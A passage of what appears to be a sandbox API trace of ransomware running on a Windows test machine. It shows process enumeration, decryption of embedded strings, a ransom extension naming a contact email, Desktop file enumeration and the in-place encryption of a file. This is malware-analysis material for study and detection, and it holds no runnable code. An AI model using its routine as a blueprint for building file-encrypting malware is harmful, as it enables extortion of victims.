lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="vdsldr.exe")) returned 1 [0119.884] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vds.exe")) returned 1 [0119.884] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.885] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0119.886] CloseHandle (hObject=0x12c) returned 1 [0119.886] GetProcessHeap () returned 0x520000 [0119.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545390 | out: hHeap=0x520000) returned 1 [0119.886] GetProcessHeap () returned 0x520000 [0119.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c738 | out: hHeap=0x520000) returned 1 [0119.886] GetProcessHeap () returned 0x520000 [0119.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537c08 | out: hHeap=0x520000) returned 1 [0119.886] GetProcessHeap () returned 0x520000 [0119.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c7b0 | out: hHeap=0x520000) returned 1 [0119.886] GetProcessHeap () returned 0x520000 [0119.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537c18 | out: hHeap=0x520000) returned 1 [0119.886] GetProcessHeap () returned 0x520000 [0119.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c788 | out: hHeap=0x520000) returned 1 [0119.886] GetProcessHeap () returned 0x520000 [0119.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537c28 | out: hHeap=0x520000) returned 1 [0119.886] GetProcessHeap () returned 0x520000 [0119.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c760 | out: hHeap=0x520000) returned 1 [0119.886] GetProcessHeap () returned 0x520000 [0119.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537c38 | out: hHeap=0x520000) returned 1 [0119.886] GetProcessHeap () returned 0x520000 [0119.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c7d8 | out: hHeap=0x520000) returned 1 [0119.886] GetProcessHeap () returned 0x520000 [0119.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537c48 | out: hHeap=0x520000) returned 1 [0119.886] GetProcessHeap () returned 0x520000 [0119.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a258 | out: hHeap=0x520000) returned 1 [0119.886] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537c58 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a278 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537c68 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a298 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537c78 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c800 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537c88 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c828 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537c98 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5444f0 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537ca8 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c850 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537cb8 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c878 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537cc8 | out: hHeap=0x520000) returned 1 [0119.887] GetProcessHeap () returned 0x520000 [0119.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a9e0 | out: hHeap=0x520000) returned 1 [0119.888] GetProcessHeap () returned 0x520000 [0119.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537cd8 | out: hHeap=0x520000) returned 1 [0119.888] GetProcessHeap () returned 0x520000 [0119.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c8a0 | out: hHeap=0x520000) returned 1 [0119.888] GetProcessHeap () returned 0x520000 [0119.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537ce8 | out: hHeap=0x520000) returned 1 [0119.888] GetProcessHeap () returned 0x520000 [0119.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a2b8 | out: hHeap=0x520000) returned 1 [0119.888] GetProcessHeap () returned 0x520000 [0119.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537cf8 | out: hHeap=0x520000) returned 1 [0119.888] GetProcessHeap () returned 0x520000 [0119.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544520 | out: hHeap=0x520000) returned 1 [0119.888] GetProcessHeap () returned 0x520000 [0119.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537d08 | out: hHeap=0x520000) returned 1 [0119.888] GetProcessHeap () returned 0x520000 [0119.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c8c8 | out: hHeap=0x520000) returned 1 [0119.888] GetProcessHeap () returned 0x520000 [0119.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537d18 | out: hHeap=0x520000) returned 1 [0119.888] GetProcessHeap () returned 0x520000 [0119.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a2d8 | out: hHeap=0x520000) returned 1 [0119.888] GetProcessHeap () returned 0x520000 [0119.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537d28 | out: hHeap=0x520000) returned 1 [0119.888] GetProcessHeap () returned 0x520000 [0119.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a2f8 | out: hHeap=0x520000) returned 1 [0119.888] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537d38 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c8f0 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537d48 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c918 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537d58 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a318 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537d68 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544550 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537d78 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a338 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537d88 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c940 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537d98 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c968 | out: hHeap=0x520000) returned 1 [0119.889] GetProcessHeap () returned 0x520000 [0119.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537da8 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5457b0 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537db8 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5457d0 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537dc8 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5457f0 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537dd8 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c990 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537de8 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545810 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537df8 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545830 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545fb0 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c9b8 | out: hHeap=0x520000) returned 1 [0119.890] GetProcessHeap () returned 0x520000 [0119.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545fc0 | out: hHeap=0x520000) returned 1 [0119.891] GetProcessHeap () returned 0x520000 [0119.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5463b0 | out: hHeap=0x520000) returned 1 [0119.891] GetProcessHeap () returned 0x520000 [0119.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545fd0 | out: hHeap=0x520000) returned 1 [0119.891] GetProcessHeap () returned 0x520000 [0119.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545850 | out: hHeap=0x520000) returned 1 [0119.891] GetProcessHeap () returned 0x520000 [0119.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545fe0 | out: hHeap=0x520000) returned 1 [0119.891] GetProcessHeap () returned 0x520000 [0119.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545870 | out: hHeap=0x520000) returned 1 [0119.891] GetProcessHeap () returned 0x520000 [0119.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545ff0 | out: hHeap=0x520000) returned 1 [0119.891] GetProcessHeap () returned 0x520000 [0119.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545890 | out: hHeap=0x520000) returned 1 [0119.891] GetProcessHeap () returned 0x520000 [0119.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x546000 | out: hHeap=0x520000) returned 1 [0119.891] GetProcessHeap () returned 0x520000 [0119.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c9b8 [0119.891] CryptImportKey (in: hProv=0x534c08, pbData=0x22afea8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x53a9e0) returned 1 [0119.891] CryptDecrypt (in: hKey=0x53a9e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c9b8, pdwDataLen=0x22aff10 | out: pbData=0x53c9b8, pdwDataLen=0x22aff10) returned 1 [0119.891] CryptDestroyKey (hKey=0x53a9e0) returned 1 [0119.891] GetProcessHeap () returned 0x520000 [0119.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c990 [0119.891] CryptImportKey (in: hProv=0x534c08, pbData=0x22afea8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x53a9e0) returned 1 [0119.892] CryptDecrypt (in: hKey=0x53a9e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c990, pdwDataLen=0x22aff10 | out: pbData=0x53c990, pdwDataLen=0x22aff10) returned 1 [0119.892] CryptDestroyKey (hKey=0x53a9e0) returned 1 [0119.892] GetProcessHeap () returned 0x520000 [0119.892] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c968 [0119.892] CryptImportKey (in: hProv=0x534c08, pbData=0x22afea8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x53a9e0) returned 1 [0119.892] CryptDecrypt (in: hKey=0x53a9e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c968, pdwDataLen=0x22aff10 | out: pbData=0x53c968, pdwDataLen=0x22aff10) returned 1 [0119.892] CryptDestroyKey (hKey=0x53a9e0) returned 1 [0119.892] GetProcessHeap () returned 0x520000 [0119.892] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x535480 [0119.892] CryptImportKey (in: hProv=0x534c08, pbData=0x22afea8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x53a9e0) returned 1 [0119.892] CryptDecrypt (in: hKey=0x53a9e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x535480, pdwDataLen=0x22aff10 | out: pbData=0x535480, pdwDataLen=0x22aff10) returned 1 [0119.892] CryptDestroyKey (hKey=0x53a9e0) returned 1 [0119.892] GetProcessHeap () returned 0x520000 [0119.892] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10838) returned 0x546b98 [0119.893] GetProcessHeap () returned 0x520000 [0119.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x3090020 [0119.893] wsprintfW (in: param_1=0x556bca, param_2=".[%08X].[%s].%s" | out: param_1=".[4B2E4630].[garantos@mailfence.com].captcha") returned 44 [0119.893] GetProcessHeap () returned 0x520000 [0119.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10058) returned 0x5573d8 [0119.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4027f0, lpParameter=0x546b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0119.896] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0120.371] CloseHandle (hObject=0x12c) returned 1 [0120.371] GetProcessHeap () returned 0x520000 [0120.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3090020 | out: hHeap=0x520000) returned 1 [0120.371] GetProcessHeap () returned 0x520000 [0120.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x546b98 | out: hHeap=0x520000) returned 1 [0120.371] GetProcessHeap () returned 0x520000 [0120.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x535480 | out: hHeap=0x520000) returned 1 [0120.372] GetProcessHeap () returned 0x520000 [0120.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c968 | out: hHeap=0x520000) returned 1 [0120.372] GetProcessHeap () returned 0x520000 [0120.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c990 | out: hHeap=0x520000) returned 1 [0120.372] GetProcessHeap () returned 0x520000 [0120.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c9b8 | out: hHeap=0x520000) returned 1 [0120.372] GetProcessHeap () returned 0x520000 [0120.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545138 | out: hHeap=0x520000) returned 1 [0120.372] GetProcessHeap () returned 0x520000 [0120.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5451c0 | out: hHeap=0x520000) returned 1 [0120.372] GetProcessHeap () returned 0x520000 [0120.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545038 | out: hHeap=0x520000) returned 1 [0120.372] GetProcessHeap () returned 0x520000 [0120.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545100 | out: hHeap=0x520000) returned 1 [0120.372] GetProcessHeap () returned 0x520000 [0120.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x543770 | out: hHeap=0x520000) returned 1 [0120.372] GetProcessHeap () returned 0x520000 [0120.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537be8 | out: hHeap=0x520000) returned 1 [0120.372] GetProcessHeap () returned 0x520000 [0120.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534eb8 | out: hHeap=0x520000) returned 1 [0120.372] GetProcessHeap () returned 0x520000 [0120.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537be8 [0120.372] PostMessageW (hWnd=0x6011c, Msg=0x401, wParam=0x0, lParam=0x0) returned 1 [0120.894] GetProcessHeap () returned 0x520000 [0120.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c878 [0120.894] CryptImportKey (in: hProv=0x534c08, pbData=0x22afec8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x543770) returned 1 [0120.894] CryptDecrypt (in: hKey=0x543770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c878, pdwDataLen=0x22aff30 | out: pbData=0x53c878, pdwDataLen=0x22aff30) returned 1 [0120.894] CryptDestroyKey (hKey=0x543770) returned 1 [0120.894] GetProcessHeap () returned 0x520000 [0120.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.894] CryptImportKey (in: hProv=0x534c08, pbData=0x22afec8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x543770) returned 1 [0120.894] CryptDecrypt (in: hKey=0x543770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8, pdwDataLen=0x22aff30 | out: pbData=0x5354c8, pdwDataLen=0x22aff30) returned 1 [0120.894] CryptDestroyKey (hKey=0x543770) returned 1 [0120.894] GetProcessHeap () returned 0x520000 [0120.894] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x400) returned 0x567438 [0120.894] CryptImportKey (in: hProv=0x534c08, pbData=0x22afec8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x543770) returned 1 [0120.894] CryptDecrypt (in: hKey=0x543770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x567438, pdwDataLen=0x22aff30 | out: pbData=0x567438, pdwDataLen=0x22aff30) returned 1 [0120.894] CryptDestroyKey (hKey=0x543770) returned 1 [0120.894] wsprintfW (in: param_1=0x22aef0c, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\build note.txt") returned 52 [0120.894] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\build note.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\build note.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.895] GetProcessHeap () returned 0x520000 [0120.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567438 | out: hHeap=0x520000) returned 1 [0120.895] GetProcessHeap () returned 0x520000 [0120.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.895] GetProcessHeap () returned 0x520000 [0120.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c878 | out: hHeap=0x520000) returned 1 Thread: id = 118 os_tid = 0x6b8 [0119.901] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0119.901] GetProcessHeap () returned 0x520000 [0119.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5c) returned 0x545248 [0119.901] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.*", lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9d649d40, ftLastAccessTime.dwHighDateTime=0x1d6ad09, ftLastWriteTime.dwLowDateTime=0x9d649d40, ftLastWriteTime.dwHighDateTime=0x1d6ad09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName=".", cAlternateFileName="")) returned 0x53a9e0 [0119.902] GetProcessHeap () returned 0x520000 [0119.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545248 | out: hHeap=0x520000) returned 1 [0119.902] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9d649d40, ftLastAccessTime.dwHighDateTime=0x1d6ad09, ftLastWriteTime.dwLowDateTime=0x9d649d40, ftLastWriteTime.dwHighDateTime=0x1d6ad09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="..", cAlternateFileName="")) returned 1 [0119.902] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3b0f560, ftCreationTime.dwHighDateTime=0x1d5e133, ftLastAccessTime.dwLowDateTime=0xb7f64c0, ftLastAccessTime.dwHighDateTime=0x1d5e3bd, ftLastWriteTime.dwLowDateTime=0xb7f64c0, ftLastWriteTime.dwHighDateTime=0x1d5e3bd, nFileSizeHigh=0x0, nFileSizeLow=0x12592, dwReserved0=0x0, dwReserved1=0xffff, cFileName="30v1DL4v_YL.avi", cAlternateFileName="30V1DL~1.AVI")) returned 1 [0119.902] GetProcessHeap () returned 0x520000 [0119.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x25e) returned 0x568440 [0119.902] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2f0110, ftCreationTime.dwHighDateTime=0x1d5e489, ftLastAccessTime.dwLowDateTime=0xdda84130, ftLastAccessTime.dwHighDateTime=0x1d5e7c6, ftLastWriteTime.dwLowDateTime=0xdda84130, ftLastWriteTime.dwHighDateTime=0x1d5e7c6, nFileSizeHigh=0x0, nFileSizeLow=0x580d, dwReserved0=0x0, dwReserved1=0xffff, cFileName="5U5Bsyq2.wav", cAlternateFileName="")) returned 1 [0119.902] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b170f0, ftCreationTime.dwHighDateTime=0x1d5e4ec, ftLastAccessTime.dwLowDateTime=0xdb96df10, ftLastAccessTime.dwHighDateTime=0x1d5dd8e, ftLastWriteTime.dwLowDateTime=0xdb96df10, ftLastWriteTime.dwHighDateTime=0x1d5dd8e, nFileSizeHigh=0x0, nFileSizeLow=0x291f, dwReserved0=0x0, dwReserved1=0xffff, cFileName="80l Y.pps", cAlternateFileName="80LY~1.PPS")) returned 1 [0119.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\80l Y.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\80l y.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0119.903] GetProcessHeap () returned 0x520000 [0119.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0119.903] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0119.904] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0119.904] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0x1, lpOverlapped=0x0) returned 1 [0119.905] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x545248) returned 1 [0119.905] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0119.905] GetProcessHeap () returned 0x520000 [0119.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5455a0 [0119.905] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5455a0*, pdwDataLen=0x329fc78*=0x30, dwBufLen=0x30 | out: pbData=0x5455a0*, pdwDataLen=0x329fc78*=0x30) returned 1 [0119.906] CryptDestroyKey (hKey=0x545248) returned 1 [0119.906] WriteFile (in: hFile=0x124, lpBuffer=0x5455a0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5455a0*, lpNumberOfBytesWritten=0x329fc90*=0x30, lpOverlapped=0x0) returned 1 